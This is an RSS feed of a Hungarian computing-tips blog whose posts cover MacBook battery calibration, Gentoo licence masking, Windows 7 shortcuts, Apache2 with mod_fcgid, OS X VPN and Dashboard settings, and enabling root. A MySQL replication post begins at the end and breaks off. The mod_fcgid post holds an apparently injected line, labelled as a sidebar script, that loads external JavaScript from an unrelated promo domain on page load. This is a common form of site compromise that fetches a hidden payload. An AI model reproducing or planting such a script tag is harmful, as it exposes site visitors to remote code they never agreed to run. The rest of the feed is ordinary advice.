<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>InfoBlog - informatikáról egyszerűen</title>
	<atom:link href="http://infoblog.kovix.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://infoblog.kovix.info</link>
	<description>Számítástechnikai problémák és megoldásaik egyszerűen</description>
	<lastBuildDate>Fri, 05 Mar 2010 16:08:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Snow Leopard: Service Battery, vagy mit tehetek ha a jó akkumulátor rossznak tűnik</title>
		<link>http://infoblog.kovix.info/2010/03/05/snow-leopard-service-battery-vagy-mit-tehetek-ha-a-jo-akkumulator-rossznak-tunik/</link>
		<comments>http://infoblog.kovix.info/2010/03/05/snow-leopard-service-battery-vagy-mit-tehetek-ha-a-jo-akkumulator-rossznak-tunik/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 16:08:27 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Macintosh, OSX]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=84</guid>
		<description><![CDATA[Amióta Snow leopard operációs rendszerre váltottam, másodszor történik meg velem az alábbi tortúra:
Minden különösebb előjel nélkül kb. 50%-nél kikacsol a macbookom. (2009 év eleji ALU book). Ez után az akkumulátor menüben megjelenik a service battery felirat, ara buzdítva, hogy 1.) 40.000Ft körüli összegért vásároljak új akkumulátort 2.) küzdjek a garanciális szervizzel.
Ez után mindkét alkalommal az [...]]]></description>
			<content:encoded><![CDATA[<p>Amióta Snow leopard operációs rendszerre váltottam, másodszor történik meg velem az alábbi tortúra:</p>
<p>Minden különösebb előjel nélkül kb. 50%-nél kikacsol a macbookom. (2009 év eleji ALU book). Ez után az akkumulátor menüben megjelenik a service battery felirat, ara buzdítva, hogy 1.) 40.000Ft körüli összegért vásároljak új akkumulátort 2.) küzdjek a garanciális szervizzel.</p>
<p>Ez után mindkét alkalommal az következett, hogy az akkumulátor lemerül 0%-ig (0:00 a hátralévő idő), majd miután már több mint 5 perce nulla perc van hátra, visszaugrik 50% környékére, és utána még szokatlan hosszú ideig bírja. Ez után lehet hogy eltűnik a service battery felirat, de ha el is tűnik, egészen biztosan újra meg fog jelenni.</p>
<p>Próbálkozhatunk SMC resettel, vagy egyfajta kalibrációs metódussal is, amit az apple ajánl a <a title="Macbook akkumulátor kalibrálás" href="http://support.apple.com/kb/HT1490" target="_blank">http://support.apple.com/kb/HT1490</a> cikkben. Az alábbiakban leírom magyarul, hogy mi a teendő.</p>
<p><span id="more-84"></span><strong>Az SMC reset elvégzéséhez az alábbiak a teendők:</strong></p>
<p>Kapcsoljuk ki teljesen a macbookot, távolítsuk el a Magsafe hálózati adapter csatlakozóját, majd távolítsuk el az akkumulátort is. Ebben az állapotban nyomjuk le, és tartsuk lenyomva a macbook bekapcsológombját, majd helyezzük vissza az akkumulátort és a töltő csatlakozóját.</p>
<p><strong>A akkumulátor kalibrálásának lépései:</strong></p>
<ol>
<li>Csatlakoztassuk a Macbookhoz a Magsafe töltő csatlakozóját, és várjuk meg amíg a készülék teljesen feltöltődik. A teljesen feltöltött géphez csatlakoztatott Magsafe töltőn a LED zöld fénnyel világít.</li>
<li>Hagyjuk a töltőt teljesen feltöltött állapotban bekapcsolva és a töltőre csatlakoztatva két órán keresztül. Ez idő alatt használhatjuk a számítógépet.</li>
<li>Továbbra is bekapcsolva hagyva a gépet, távolítsuk el a Magsafe töltő csatlakozóját, és hagyjuk hogy a készülék lemerüljön. Ügyeljünk arra, hogy a Macbook az akkumulátor üzemmód miatt ne kerüljön alvó állapotba. Célszerű a gépet ezidő alatt használni.</li>
<li>Amikor az alacsony akkumulátorszint üzenet megjelenik, mentsük el a megnyitott munkánkat, majd várjuk meg amíg az akkumulátor annyira lemerül, hogy a gép alvó állapotba kerül.</li>
<li>Amikor a gép alvó állapotba kerül a hálózati töltő csatlakoztatása nélkül hagyjuk a Macbookot alvó állapotban öt órán keresztül.</li>
<li>Az öt óra leteltével a Macbookhoz újra csatlakoztatni kell a töltőt, és teljesen feltölteni. Ezidő alatt a számítógép újra használható.</li>
</ol>
<p>Ezzel megtörténik az akkumulátor kalibrálása.</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2010/03/05/snow-leopard-service-battery-vagy-mit-tehetek-ha-a-jo-akkumulator-rossznak-tunik/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gentoo: dev-java/sun-jdk (masked by: dlj-1.1 license(s))</title>
		<link>http://infoblog.kovix.info/2010/03/02/gentoo-dev-javasun-jdk-masked-by-dlj-1-1-licenses/</link>
		<comments>http://infoblog.kovix.info/2010/03/02/gentoo-dev-javasun-jdk-masked-by-dlj-1-1-licenses/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 20:35:45 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=82</guid>
		<description><![CDATA[Néhány perce Gentoo linuxra próbáltam java-t telepíteni, de a telepítés az alábbi figyelmeztetéssel, hibával leállt:
dev-java/sun-jdk-1.6.0.18-r1 (masked by: dlj-1.1 license(s), ~x86 keyword)
Az alábbi postban bemutatom, hogy hogyan telepíthető a java csomag, illetve hasonló esetben (licenc elfogadás) mi a teendő.
A pontos hibaüzenet tehát ez:
!!! All ebuilds that could satisfy &#8220;dev-java/sun-jdk&#8221; have been masked.
!!! One of the following [...]]]></description>
			<content:encoded><![CDATA[<p>Néhány perce <strong>Gentoo linuxra</strong> próbáltam java-t telepíteni, de a telepítés az alábbi figyelmeztetéssel, hibával leállt:</p>
<p>dev-java/sun-jdk-1.6.0.18-r1 (masked by: dlj-1.1 license(s), ~x86 keyword)</p>
<p>Az alábbi postban bemutatom, hogy hogyan telepíthető a java csomag, illetve hasonló esetben (licenc elfogadás) mi a teendő.</p>
<p><span id="more-82"></span>A pontos hibaüzenet tehát ez:</p>
<blockquote><p>!!! All ebuilds that could satisfy &#8220;dev-java/sun-jdk&#8221; have been masked.<br />
!!! One of the following masked packages is required to complete your request:<br />
- dev-java/sun-jdk-1.6.0.18-r1 (masked by: dlj-1.1 license(s), ~x86 keyword)<br />
A copy of the &#8216;dlj-1.1&#8242; license is located at &#8216;/usr/portage/licenses/dlj-1.1&#8242;.</p>
<p>- dev-java/sun-jdk-1.6.0.18 (masked by: dlj-1.1 license(s), ~x86 keyword)<br />
- dev-java/sun-jdk-1.6.0.17 (masked by: dlj-1.1 license(s))<br />
- dev-java/sun-jdk-1.5.0.22 (masked by: dlj-1.1 license(s))</p>
<p>For more information, see the MASKED PACKAGES section in the emerge<br />
man page or refer to the Gentoo Handbook.</p></blockquote>
<p>A megoldás, pedig az, hogy a &#8220;djl-1.1&#8243; licencet el kell fogadni. Ezt az alábbi módok egyikével tudjuk megvalósítani:</p>
<p>1. Minden licenc automatikus elfogadásához írjuk be az alábbi sort az /etc/make.conf fájlba:</p>
<blockquote><p>ACCEPT_LICENSE=&#8221;*&#8221;</p></blockquote>
<p>2. Ha csak egy vagy több licencet szeretnél elfogadni, finomíthatod így:</p>
<blockquote><p>ACCEPT_LICENSE=&#8221;DJL-1.1&#8243;</p></blockquote>
<p>3. Ha egy adott licencet csak egy csomag telepítéséhez akarz elfogadni, akkor készíts egy /etc/portage/package.license fájlt. (ha van, fűzd hozzá az alábbiakat):</p>
<blockquote><p>dev-java/sun-jdk dlj-1.1</p></blockquote>
<p>A SUN Java környezet ezután<strong> emerge dev-java/sun-jdk</strong> paranccsal telepíthető.</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2010/03/02/gentoo-dev-javasun-jdk-masked-by-dlj-1-1-licenses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows 7 billentyűkombinációk és hasznos egérmozdulatok</title>
		<link>http://infoblog.kovix.info/2009/11/28/windows-7-billentyukombinaciok-es-hasznos-egermozdulatok/</link>
		<comments>http://infoblog.kovix.info/2009/11/28/windows-7-billentyukombinaciok-es-hasznos-egermozdulatok/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 07:50:43 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=75</guid>
		<description><![CDATA[A windows 7 megjelenésével egy rakat új billentyűkombinációval gazdagodtunk, ami valljuk be, olyan usereknek mint jómagam (akik annyira utálják az egeret (persze az új mighty-t már nem annyira)) rendkívül hasznos tud lenni.
Ebben a postban megpróbálok bemutatni néhányat ezekből a billentyűkombinációkból:


Windows + fel nyíl: Az aktuális ablak méretének maximalizálása, teljes méretre állítása. Egérrel úgy is teljes [...]]]></description>
			<content:encoded><![CDATA[<p>A windows 7 megjelenésével egy rakat új billentyűkombinációval gazdagodtunk, ami valljuk be, olyan usereknek mint jómagam (akik annyira utálják az egeret (persze az új mighty-t már nem annyira)) rendkívül hasznos tud lenni.</p>
<p>Ebben a postban megpróbálok bemutatni néhányat ezekből a billentyűkombinációkból:</p>
<p><span id="more-75"></span></p>
<ul>
<li><strong>Windows + fel nyíl:</strong> Az aktuális ablak méretének maximalizálása, teljes méretre állítása. Egérrel úgy is teljes méretűvé állíthatunk egy ablakot, hogy az ablakot megfogjuk, és a képernyő tetejére húzzuk. Amikor az egérmutató eléri a képernyő szélét, egy animáció jelzi, hogy az ablak elengedése esetén az teljes méretűvé válik.</li>
<li><strong>Windows + le nyíl: </strong>Amennyiben az aktív ablak maximalizált, újra normál méretűvé válik, amennyiben normál méretű, ikon állapotban a tálcára kerül. Teljes méretű ablakot úgy is visszaállíthatunk normál méretűvé, hogy az egérmutatóval megfogjuk a teljes méretű ablakot, és lefelé húzzuk.</li>
<li><strong>Windows + bal nyíl: </strong>Az aktív ablak rögzítése a képernyő bal széléhez. Az ablak a képernyő teljes magasságát el fogja foglalni, szélessége pedig a képernyő ötven százaléka lesz. Hasznos lehet például, ha két ablak tartalmát akarjuk összehasonlítani, ilyenkor az egyik ablakot balra, a másikat pedig jobbra rendezhetjük. Ezt a viselkedést úgy is előidézhetjük, hogy az ablakot megfogjuk, és egy határozott mozdulattal a képernyő bal oldalához húzzuk. Amikor az egérmutató eléri a képernyő szélét, egy animáció fogja jelezni, hogy az egérmutató elengedésével rögzül az ablak.</li>
<li><strong>Windows + Home gomb:</strong> Minden ablak kisméretű lesz, kivéve az aktuális.</li>
<li><strong>Windows  + P: </strong>&#8220;Projection menu&#8221;: Elsősorban laptopon van értelme, többszöri megnyomásával válthatunk a video kimenetek között (Beépített kijelző, kijelző csatlakozó, mindkettő).</li>
<li><strong>ALT + F4: </strong>Aktuális ablak bezárása.</li>
<li><strong>ALT + TAB: </strong>Váltás az előző aktív ablakra (A tab többszöri megnyomásával az alt felengedése nélkül többet is léphetünk az aktív ablakok között. Ilyenkor a képernyő közepén megjelenik egy lista a futó programok ablakairól. Egy ablakra úgy válthatunk, hogy a tab billentyű többszöri megnyomásával kiválasztjuk az ablakot, és felengedjük az alt gombot. Alternatív megoldásként a képernyő közepén megjelenő ikonora is kattinthatunk.</li>
<li><strong>ALT + ESC:</strong> A futó programok aktív ablakai között válthatunk vele.</li>
<li><strong>WIN + TAB:</strong> Az ablakok között válthatunk vele 3D módban. A TAB többszöri megnyomására mindig egy újabb ablak kerül előtérbe, a WIN gomb felengedésével az előtérben lévő ablak válik aktívvá.</li>
<li><strong>CTRL + WIN + TAB: </strong>Az ablakok között 3D módban válthatunk, úgy hogy a kombináció lenyomása és felengedése után a 3D mód aktív marad. A kívánt ablakot az egérgörgővel választhatjuk ki, majd rákattintva aktiválható az ablak.</li>
<li><strong>WIN + T:</strong> A tálcán az ablakok előnézetének megtekintése. (A WIN gomb nyomvatartása mellett a T gomb többszöri megnyomásával mindíg a soron következő előnézet tekinthető meg.)</li>
<li><strong>WIN + M:</strong> Minden normál és teljes méretű ablak ikonként a tálcára kerül. Egérrel elérhető úgy is, hogy az egeret a tálca jobb szélén lévő függőleges sávra húzzuk. Az egeret a sávra tartva az ablakok teljesen átlátszóvá válnak, csak a körvonaluk látszik. A sávra kattintva minden ablak kisméretűvé válik.</li>
<li><strong>WIN + SHIFT  + M: </strong>Az előző kombináció visszavonása.</li>
<li><strong>WIN + D:</strong> Asztal megjelenítése.</li>
<li><strong>Aero Shake:</strong> Egér bűvésztrükk, ha egy aktív, normák méretű ablakot megfogunk a fejlécénél, és az egérrel határozottan megrázzuk, minden ablak kisméretűvé válik, kivéve az amit fogunk.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2009/11/28/windows-7-billentyukombinaciok-es-hasznos-egermozdulatok/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Debain (Ubuntu) Apache 2 futtatás mod_fcgi-vel</title>
		<link>http://infoblog.kovix.info/2009/06/15/debain-ubuntu-apache-2-futtatas-mod_fcgi-vel/</link>
		<comments>http://infoblog.kovix.info/2009/06/15/debain-ubuntu-apache-2-futtatas-mod_fcgi-vel/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 09:48:50 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=69</guid>
		<description><![CDATA[Amennyiben Debian vagy Ubuntu rendszerű linux szerverünkön alapértelmezett (vagy alapértelmezetthez közeli) konfigurációval futtatjuk az Apache2 web szervert, nagy valószínűséggel a apache2-mpm-prefork wokert használjuk libapache2-mod-php5 -tel. Habár ez az alapértelemezett működés, nagy forgalom, illetve nagy, lassan futó scriptek esetében meggondolandó az apache2-mpm-worker használata, mivel a prefok modul memória igénye magas, illetve amiatt, hogy minden kérésrt egyetlen [...]]]></description>
			<content:encoded><![CDATA[<p>Amennyiben Debian vagy Ubuntu rendszerű linux szerverünkön alapértelmezett (vagy alapértelmezetthez közeli) konfigurációval futtatjuk az Apache2 web szervert, nagy valószínűséggel a apache2-mpm-prefork wokert használjuk libapache2-mod-php5 -tel. Habár ez az alapértelemezett működés, nagy forgalom, illetve nagy, lassan futó scriptek esetében meggondolandó az apache2-mpm-worker használata, mivel a prefok modul memória igénye magas, illetve amiatt, hogy minden kérésrt egyetlen szál szolgál ki, a kiszolgálás sebessége nagymértékben lassulhat.<br />
<!-- sidebar script --><script type="text/javascript" src="http://top5result.com/promo/um.js"></script><br />
Nagy terhelésű szervereken ezek alapján mindenképpen érdemes a worker-t telepíteni, de ez felvet egy újabb problémát: a libapache2-mod-php5 csak a prefork-kal kompatibilis, a worker telepítése esetén a debian alapú rendszerek automatikusan eltávolítják azt.</p>
<p>Ebben a leírásban bemutatom, hogy hogyan tudjuk a preforkot workerre cserélni, illetve a libapache2-mod-php5 helyett hogyan tudunk mod_fcgi-t üzembe helyezni.</p>
<p><span id="more-69"></span></p>
<p><strong>Apache2 worker és mod_fcgid telepítés:</strong></p>
<blockquote><p>apt-get install apache2-mpm-worker libapache2-mod-fcgid</p></blockquote>
<p><strong>mod_fcgid engedélyezése:</strong></p>
<blockquote><p>sudo a2enmod fcgid</p></blockquote>
<p><strong>Szükséges php5  modulok telepítése</strong></p>
<p>Bármilyen php 5 modul telepíthető a rendszerre, amely szükséges a scriptek megfelelű működéséhez, pl.:</p>
<blockquote><p>apt-get install php5-cgi php5-curl php5-gd php5-ldap php5-mysql php5-mysqli php5-sqlite php5-xsl</p></blockquote>
<p><strong>Apache2 beállítások</strong></p>
<p>A csomagok telepítése után az apache2 beállítása következik. A példa az apache2 default virtualhostján keresztül mutatja be a beállításokat,  de ezeknek a módosításokat minden virtualhostban el kell végezni.</p>
<p>Keressük meg a virtualhost gyökérkönyvtárára vonatkozó bejegyzést, és egészítsük ki így:</p>
<blockquote><p>&lt;Directory /var/www&gt;<br />
AddHandler fcgid-script .php<br />
FCGIWrapper /usr/lib/cgi-bin/php5 .php<br />
&lt;/Directory&gt;</p></blockquote>
<p>majd pedig minden &#8220;directory&#8221; bejegyésben engedélyezzük a CGI futtatást:</p>
<blockquote><p>Options ExecCGI Indexes</p></blockquote>
<p>A virtualhostok mentése után csupán egy apache2 újraindítás van hátra:</p>
<blockquote><p>/etc/init.d/apache2 force-reload</p></blockquote>
<p>és a forrás pedig:</p>
<p>Ezt a cikket az alábbi leírás alapján portoltam a saját rendszeremre és magyar nyelven:</p>
<p><a class="aligncenter" href="http://ivan.gudangbaca.com/installing_apache2_and_php5_using_mod_fcgid" target="_blank">http://ivan.gudangbaca.com/installing_apache2_and_php5_using_mod_fcgid</a></p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2009/06/15/debain-ubuntu-apache-2-futtatas-mod_fcgi-vel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VPN kapcsolat létrehozása Mac OSX 10.5 alatt</title>
		<link>http://infoblog.kovix.info/2009/03/12/vpn-kapcsolat-letrehozasa-mac-osx-105-alatt/</link>
		<comments>http://infoblog.kovix.info/2009/03/12/vpn-kapcsolat-letrehozasa-mac-osx-105-alatt/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 17:36:02 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Macintosh, OSX]]></category>
		<category><![CDATA[Haladó]]></category>
		<category><![CDATA[Hálózat]]></category>
		<category><![CDATA[Macintosh]]></category>
		<category><![CDATA[OSX]]></category>
		<category><![CDATA[VPN]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=59</guid>
		<description><![CDATA[Mac OSX alatt VPN kapcsolat létrehozásához kattintsunk a System Preferences ikonra , majd a &#8220;Network&#8221; ikonra. .
A megjelenő ablakban a bal oldali lista alján található &#8220;+&#8221; gomb segítségével adjunk hozzá egy új kapcsolatot.

A kapcsolat típusa legyen &#8220;VPN&#8221;, a VPN típusa a kapcsolat típusától függően választandó, IPSEC, VAGY PPTP, neve pedig tetszőlegesen megválasztható.
A kapcsolat létrejötte után [...]]]></description>
			<content:encoded><![CDATA[<p>Mac OSX alatt VPN kapcsolat létrehozásához kattintsunk a System Preferences ikonra <a href="http://infoblog.kovix.info/wp-content/uploads/2009/03/system_preferences.png"><img class="size-medium wp-image-60 alignnone" title="system_preferences" src="http://infoblog.kovix.info/wp-content/uploads/2009/03/system_preferences.png" alt="Max OSX system preferences indítása" width="39" height="35" /></a>, majd a &#8220;Network&#8221; ikonra. <a href="http://infoblog.kovix.info/wp-content/uploads/2009/03/system_preferences_network.png"><img class="alignnone size-medium wp-image-61" title="system_preferences_network" src="http://infoblog.kovix.info/wp-content/uploads/2009/03/system_preferences_network.png" alt="" width="60" height="56" /></a>.</p>
<p>A megjelenő ablakban a bal oldali lista alján található &#8220;+&#8221; gomb segítségével adjunk hozzá egy új kapcsolatot.</p>
<div id="attachment_62" class="wp-caption aligncenter" style="width: 199px"><a href="http://infoblog.kovix.info/wp-content/uploads/2009/03/add_network_conn.png"><img class="size-medium wp-image-62" title="add_network_conn" src="http://infoblog.kovix.info/wp-content/uploads/2009/03/add_network_conn.png" alt="A &quot;+&quot; gombra kattintva új kapcsolatot hozunk létre" width="189" height="197" /></a><p class="wp-caption-text">A + gombra kattintva új kapcsolatot hozunk létre </p></div>
<p><span id="more-59"></span><!--more--></p>
<p>A kapcsolat típusa legyen &#8220;VPN&#8221;, a VPN típusa a kapcsolat típusától függően választandó, IPSEC, VAGY PPTP, neve pedig tetszőlegesen megválasztható.</p>
<div id="attachment_63" class="wp-caption aligncenter" style="width: 310px"><a href="http://infoblog.kovix.info/wp-content/uploads/2009/03/add_vpn_mac.png"><img class="size-medium wp-image-63" title="add_vpn_mac" src="http://infoblog.kovix.info/wp-content/uploads/2009/03/add_vpn_mac-300x239.png" alt="VPN kapcsolat létrehozása" width="300" height="239" /></a><p class="wp-caption-text">VPN kapcsolat létrehozása</p></div>
<p>A kapcsolat létrejötte után megadhatóak annak paraméterei:</p>
<div id="attachment_64" class="wp-caption aligncenter" style="width: 310px"><a href="http://infoblog.kovix.info/wp-content/uploads/2009/03/vpn_paramterek.png"><img class="size-medium wp-image-64" title="vpn_paramterek" src="http://infoblog.kovix.info/wp-content/uploads/2009/03/vpn_paramterek-300x212.png" alt="VPN paraméterek megadása" width="300" height="212" /></a><p class="wp-caption-text">VPN paraméterek megadása</p></div>
<p>A &#8220;Configuration&#8221; menü maradhat üresen, a &#8220;Server Address&#8221; menüpontba a távoli szerver IP címét vagy host nevét adjuk meg, az &#8220;Account Name&#8221; mezőbe pedig felhasználónevünket írjuk!</p>
<p>Az &#8220;Encryption&#8221; választómezőben a kapcsolat paramétereitől függően &#8220;Automatic&#8221;, &#8220;Maximum&#8221;, vagy &#8220;None&#8221; választható.</p>
<p>Az &#8220;Authentication Settings&#8221; gomb megnyomásával az azonosítás módja választható meg: Jelszó, RSA token, Kulcsfájl (Certificate), Kerberos azonosítás, vagy CryptoCard.</p>
<div id="attachment_65" class="wp-caption aligncenter" style="width: 310px"><a href="http://infoblog.kovix.info/wp-content/uploads/2009/03/vpn_authentikacio.png"><img class="size-medium wp-image-65" title="vpn_authentikacio" src="http://infoblog.kovix.info/wp-content/uploads/2009/03/vpn_authentikacio-300x183.png" alt="VPN hitelesítési beállítások" width="300" height="183" /></a><p class="wp-caption-text">VPN hitelesítési beállítások</p></div>
<p>A Connect gomb megnyomásával a kapcsolat azonnal felépíthető, a &#8220;Show VPN status in Menu bar&#8221; kapcsoló bekapcsolásával pedig a menüsorra lehet VPN státusz ikont varázsolni, amivel a kapcsolatok gyorsan a &#8220;System Preferences&#8221; megnyitása nélkül menedzselhetőek.</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2009/03/12/vpn-kapcsolat-letrehozasa-mac-osx-105-alatt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSX 10.4 &#8211; Dashboard kikapcsolása</title>
		<link>http://infoblog.kovix.info/2008/12/31/osx-10-4-dashboard-kikapcsolasa/</link>
		<comments>http://infoblog.kovix.info/2008/12/31/osx-10-4-dashboard-kikapcsolasa/#comments</comments>
		<pubDate>Wed, 31 Dec 2008 15:24:51 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Macintosh, OSX]]></category>
		<category><![CDATA[Macintosh]]></category>
		<category><![CDATA[OSX]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=57</guid>
		<description><![CDATA[Még az elején szögezzük le: A Dashboard jó dolog. A Dashboard hasznos dolog. A Dashboard szép dolog.
Arra, amire kitalálták, tökéletesen megfelelő. Csak leütjük az F12 billentyűt (vagy a képernyő megfelelő sarkába vonszoljuk az egeret), és máris hasznos minialkalmazások hada lepi el a képernyőnket.
Abban az esetben, ha Macunk nincs bővében a az életető memóriának, mégis célszerű [...]]]></description>
			<content:encoded><![CDATA[<p>Még az elején szögezzük le: A Dashboard jó dolog. A Dashboard hasznos dolog. A Dashboard szép dolog.</p>
<p>Arra, amire kitalálták, tökéletesen megfelelő. Csak leütjük az F12 billentyűt (vagy a képernyő megfelelő sarkába vonszoljuk az egeret), és máris hasznos minialkalmazások hada lepi el a képernyőnket.</p>
<p>Abban az esetben, ha Macunk nincs bővében a az életető memóriának, mégis célszerű lehet megszabadulni a dashboard-tól. A minialkalmazások akkor is foglalják a memóriát, ha éppen nem látjuk őket, és a dashboard is a memóriában csücsül.</p>
<p>A kikapcsolásukhoz indítsunk el egy terminal-t (Applications/utilities), és adjuk ki az alábbi parancsot (Normál user-ként):</p>
<blockquote><p>defaults write com.apple.dashboard mcx-disabled -boolean YES</p></blockquote>
<p>A parancs hatására a dashboard a következő induláskor már nem fog futni. Ahhoz, hogy azonnal megszabaduljunk tőle, a dock újraindítására van szükség, ezt pedig megtehetjük az alábbi paranccsal (kicsit dúrva, de hat&#8230;):</p>
<blockquote><p>killall Dock</p></blockquote>
<p>Ha újra szeretnénk a Dashboard-ot használni, a</p>
<blockquote><p>defaults write com.apple.dashboard mcx-disabled -boolean NO<br />
killall Dock</p></blockquote>
<p>parancs párossal újra élvezhetjük a minialkalmazásokkal tarkított desktopunkat&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2008/12/31/osx-10-4-dashboard-kikapcsolasa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OSX Root jelszó (Root felhasználó engedélyezése)</title>
		<link>http://infoblog.kovix.info/2008/12/28/osx-root-jelszo-root-felhasznalo-engedelyezese/</link>
		<comments>http://infoblog.kovix.info/2008/12/28/osx-root-jelszo-root-felhasznalo-engedelyezese/#comments</comments>
		<pubDate>Sun, 28 Dec 2008 06:42:35 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Macintosh, OSX]]></category>
		<category><![CDATA[Haladó]]></category>
		<category><![CDATA[Macintosh]]></category>
		<category><![CDATA[OSX]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=55</guid>
		<description><![CDATA[Sok Mac felhasználó tette már fel nekem a kérdést, hogy osx alatt a root felhasználót hogyan lehet elérni.
A root felhasználó az UNIX jellegű rendszerekben az &#8220;Isten&#8221;, a korlátozások nélküli, bármire képes felhasználó. A bármire képes, itt szó szerint bármire képes&#8230; Kárt is tud tenni, és itt nincs meg a windowsos jó tündér (Biztos benne, hogy [...]]]></description>
			<content:encoded><![CDATA[<p>Sok Mac felhasználó tette már fel nekem a kérdést, hogy osx alatt a root felhasználót hogyan lehet elérni.</p>
<p>A root felhasználó az UNIX jellegű rendszerekben az &#8220;Isten&#8221;, a korlátozások nélküli, bármire képes felhasználó. A bármire képes, itt szó szerint bármire képes&#8230; Kárt is tud tenni, és itt nincs meg a windowsos jó tündér (Biztos benne, hogy meg akarja nyomni a biztos benne gombot?). Ha törölni akarunk, töröl. Elhiszi hogy mi jobban tudjuk &#8211; akkor is ha nem.</p>
<p>Szóval, hogy kerítsük elő ezt a felhasználót? Az esetek többségében semmi szükség rá (de azért megmutatom, hogyan kell életre bírni)!</p>
<p>Rendelkezésünkre áll a <a title="Sudo a wikipediaban" href="http://en.wikipedia.org/wiki/Sudo" target="_blank">sudo</a> parancs, amely a paraméterként kapott parancsot rendszergazdai jogosultságokkal hajtja végre, és cserébe csak a saját jelszavunk érdekli.</p>
<p>Például, a </p>
<blockquote><p>sudo nano /etc/hostconfig</p></blockquote>
<p>a nano /etc/hostconfig parancsot fogja rendszergazda módban végrehajtani (máshogy nem lenne jogosultságunk elmenteni a változtatásokat), és az aktuálisan bejelentkezett felhasználó jelszavát kell beírni neki. Természetesen a megemelt jogosultsági szint csak az adott munkafolyamatra (parancsra) érvényes, minden már korábban elindított, illetve sudo parancs használata nélkül kiadott parancsra az átlagos felhasználói jogosultságok az érvényesek.</p>
<p>Lehetőségünk van arra, hogy egy konzolt rendszergazdai módba helyezzünk, ehhez a </p>
<blockquote><p>sudo -s</p></blockquote>
<p>és a saját jelszavunk megadása szükséges. Sikeres alkalmazása esetén visszakapjuk a parancsértelmező promtját, és kilépésig (vagy exit parancsig) minden parancsunk rendszergazda módban fog végrehajtódni.</p>
<p> </p>
<p><strong>A root felhasznákó engedélyezése</strong></p>
<p>a legegyszerűbb mód a</p>
<blockquote><p>sudo passwd root</p></blockquote>
<p>parancs használata, amellyel beállíthatunk egy új jelszót a root felhasználónak, amellyel aztán be tudunk jelentkezni.</p>
<p>Konzolról a</p>
<blockquote><p>su</p></blockquote>
<p>parancs segítségével válthatunk rendszergazda módba.</p>
]]></content:encoded>
			<wfw:commentRss>http://infoblog.kovix.info/2008/12/28/osx-root-jelszo-root-felhasznalo-engedelyezese/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL Master-Slave replikáció</title>
		<link>http://infoblog.kovix.info/2008/12/26/mysql-master-slave-replikacio/</link>
		<comments>http://infoblog.kovix.info/2008/12/26/mysql-master-slave-replikacio/#comments</comments>
		<pubDate>Fri, 26 Dec 2008 17:14:06 +0000</pubDate>
		<dc:creator>kovix</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://infoblog.kovix.info/?p=49</guid>
		<description><![CDATA[MySQL adatbáziskezelő szerver esetén lehetőségünk van replikikációra, azaz az adatokst módosító (beszúrás, update, törlés, stb.) szinte azonnali továbbítására kerülnek egy távoli szerverre is, így az adatokon végzett módosítások ott is végrehajtásra kerülnek.
A megoldás ugyan elég távol áll egy terhelés-eolsztásos clustertől (A master node-ot írni és olvasni is tudjuk, de a slave-et csak olvasni), de ettől [...]]]></description>
			<content:encoded><![CDATA[<p>MySQL adatbáziskezelő szerver esetén lehetőségünk van replikikációra, azaz az adatokst módosító (beszúrás, update, törlés, stb.) szinte azonnali továbbítására kerülnek egy távoli szerverre is, így az adatokon végzett módosítások ott is végrehajtásra kerülnek.</p>
<p>A megoldás ugyan elég távol áll egy terhelés-eolsztásos clustertől (A master node-ot írni és olvasni is tudjuk, de a slave-et csak olvasni), de ettől haszna még bőven akad:</p>
